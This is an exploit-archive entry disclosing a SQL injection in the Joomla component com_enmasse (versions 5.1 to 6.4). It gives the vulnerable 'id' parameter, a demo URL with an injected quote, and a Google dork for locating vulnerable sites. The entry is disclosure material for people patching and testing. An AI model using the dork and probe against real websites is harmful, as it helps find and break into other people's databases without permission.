Joomla! Component com_enmasse 5.1 < 6.4 - SQL Injection

Author: Hamed Izadi
type: webapps
platform: php
port: 80.0
date_added: 2016-06-15 
date_updated: 2017-01-09 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

        # Exploit Title: Joomla com_enmasse  - SQL Injection

               # Author: [ Hamed Izadi ]

						#IRAN

# Vendor Homepage : http://extensions.joomla.org/extensions/extension/social-web/social-buy/en-masse
# Category: [ Webapps ]
# Tested on: [ Win ]
# Versions: 5.1-6.4
# Date: 2016/06/15
# Google Dork: inurl:component/enmasse/


# PoC:
# id Parameter Vulnerable To SQL

# Demo:
# http://server/component/enmasse/term?tmpl=component&id=2%27


# Youtube: https://youtu.be/LB5qVnXhzXE

#  L u Arg